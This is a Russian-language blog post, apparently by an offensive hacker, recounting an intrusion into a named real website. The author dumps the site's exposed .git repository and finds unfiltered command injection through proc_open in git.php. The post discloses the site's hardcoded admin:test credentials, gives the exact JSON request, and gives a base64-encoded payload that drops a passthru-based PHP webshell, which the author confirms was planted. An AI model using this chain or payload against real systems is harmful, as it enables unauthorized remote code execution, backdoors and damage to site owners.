programos

programos

.inferno

Сначала они назывались кста intellect-it.ru шо очень иронично правильный ребрендинг сделали на более снесходительное programos.ru статья будет короткой и в целом не достойна дампфорумс разве шо моего помойного канала

Как обычьно начялось все с opengit:

Обьяснять шо это такое я не буду 1000000й раз, изучите как работает система контроля версий git и поймете сами, скажу одно для совсем зеленых маслят - то шо они оставили git репозиторий в корневой дирректории сайта позволяет мне выгрузить код всех файлов которые в этот репозиторий добавлены ЗА ИСКЛЮЧЕНИЕМ файлов и папок в .gitignore

После выгрузки я всегда открываю папку с выгружеными файлами в code, после открытия наблюдаем такую картину:

Как видно 4 жалких файла и полно пустых папок(иза .gitignore) явно не вселяющих надежду но глянуть шо там все равно надо

В итоге 2 из этих файла это ебаный мусор и остаеца один на 200 и один на 800 строк какие выглядят наполненными кодом и так и кричят трахни меня.

Полностью читать этот говнокод похожий на то шо я постю на канале я не буду, я как обычьно воспользуюсь поиском в code по ключевым "опасным" словам.

Под опасными словами или функциями я подразумеваю функции как бы уебищно это не читалось, функции какие при неосторожном использовании могут позволить мне получить импакт в плоть до remote code execution, обычно я сразу проверяю file upload вектор для тово шоб загрузить на таргет свой шелл, и я либо ищу функцию move_uploaded_files которая сохраняет загруженные пользователем файлы на сервер либо ищу директиву $_FILES которая предназначена для хранения загруженных пользователем файлов, но мой поиск не увенчялся успехом, если у вас возник почему сначяла я ищу файл аплоад а не какойто RCE а потому шо unrestricted file upload это уязвимость с которой я сталкиваюсь очень чясто если не чяще всего, просто вам для понимания и статистики так сказать.

Ну рас с файлами не получилась попробуем найти RCE, функции какие могут быть связанны с выполнением кода или os injection это exec, passthru,system,proc_open и еще много много всякой хуйни но эти наверн самые распространенные, и на мое удивление это не так чясто встречяеца но я нашол вызов функции proc_open в файле на 200 строк под названием git.php шо достаточьно смешно в нашем контексте, давайте взглянем на эту хуету:

тут нас должно интересовать только то шо вызов происходит в функции executeCommand и в качестве выполняемой системной команды используется переданный аргумент $command в эту функцыю, все шо идет после proc_open похуй главное шо нет никаких проверок для выполняемой команды, окей, если вы еще не поняли наша цель каким то возможным способом передать в эту функцию нашу команду в качестве аргумента шобы она выполнилась и загрузила на сайт вебшелл для дальнейших действий, давайте глянем де вызываеца функция executeCommand и возможно ли передать в нее наш аргумент:

как видно на скринах выше функция executeCommand вызываеца в двух местах в коде а точнее в двух других функциях setBranchlist и getBranchlist

Можно обратить внимание шо функция getBranchlist бесполезна так как она передает в executeCommand свою команду которую нужно выполнить не вставляя в эту команду какой либо user input а это то шо мы и пытаемся найти

Но вот с функцией setBranchlist дела обстоят по другому, она вставляет в системную команду какой то параметр $name и никаким образом ево не фильтрует собственно если мы можем контролировать этот параметр то мы сможем добавить свой код в команду которую которую выполнит система и получим RCE, давайте глянем где вызываеца функция setBranchlist и что передается в качестве аргумента $name так нужново нам:

Как видно на скрине вызываеца эта функцыя на 85й строке и в качестве аргумента какой мы должны контролить в нее передаеца data->branch

Если внимательно взглянуть чють выше на скрин можно увидеть шо переменная data береца из пользовательского ввода тоесть нашего ввода, а это значит шо мы блять нахуй ебать можем контролировать аргумент $name для функции setBranchlist который в свою очередь передаеца в функцию executeCommand и позволяет нам выполнить код на сервере, ЗАЕБИСЬ! но если вы могли заметить есть еще пару условий какие нужно соблюдать

Во первых для тово шоб вызвалась именно функция setBranchlist нужно так же в переменной data передать ключ cmd значение которого должно быть равно "change" и сами данные которые мы передаем должны быть в json формате, тоесть для того что бы выполнить код мы должны передать в запросе вот такой json:

{

   "cmd": "change",

   "branch": "code to execute"

}

окей не проблема, но есть еще одно НО, мы находимся аж на 85й строке до нее еще дойти надо как то, сверху может быть еще куча проверок к примеру авторизация, и как не странно единственная проверка сверху это проверка авторизации, но к щастью тот кто это делал самый настоящий ебанушка и он оставил логин и пароль прямо в коде, давайте ознакомимся с проверкой авторизации которая отделяет нас от выполнения нашего кода на сервере:

Как видите все просто, логин и пароль admin:test но вот передаваца они должны в каких то $_SERVER['PHP_AUTH_USER'] и $_SERVER['PHP_AUTH_PW'] не очень похоже на привычьный $_GET или $_POST, но тут все просто на самом деле, два вышеописанных значения можно выставить если зайти на страничку с использованием обычьной HTTP BASIC аутентификации, эти поля автоматически заполняца значением логина и пароля которые вы передали в хттп аутентификации подробнее можете загуглить если не понятно

Таким образом есть 3 условия которые мы должны соблюдать:

  1. HTTP BASIC AUTH с логином admin и паролем test

2. JSON строка с ключем cmd = "change" и в branch код который мы хотим выполнить

3. Правильно сформированный код в branch что бы он выполнился без ошибок


Первые 2 условия мы уже решили осталось последнее, итак давайте взглянем на команду в какую мы вставляем наш код:

$result = executeCommand("cd ".GIT_PATH.";git checkout $name");

напомню, мы контролируем переменную $name, собственно если мы хотим вставить в нее команду она должна начинатся с символа ; для того что бы завершить предыдущую команду и после этого мы спокойно можем выполнить все шо захотим в моем случае это загрузка костыля или минимальстичного шелла для удобного выполнения системных команд, выглядит мой код так:

;echo 'PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTsgPz4K' | base64 -d > test.php

после выполнения данной команды на сервере создасца файл test.php при обращении к которому он будет выполнять любую команду которую мы передали в GET аргументе cmd, это сделано для образовательных целей да и таргет хуета ебаная категорически не рекомендую так делать а тем более оставлять такой файл на показ если вы крутите норм таргет хотя вы бы тогда не читали эту стотью

Ну и вот скрин с берпа как должен выглядеть окончятельный запрос:

После его отправки действительно создался файл test.php и мы можем использовать системные команды передавая их в параметре сmd для тех кому была интересна данная статья и кто хочет разобраца в этом говнокоде получше или шото не понял я прикреплю вулнерабл файл к этой статье на этом все урок окончен званок для учитиля.

мой ченел @evil_code

Report Page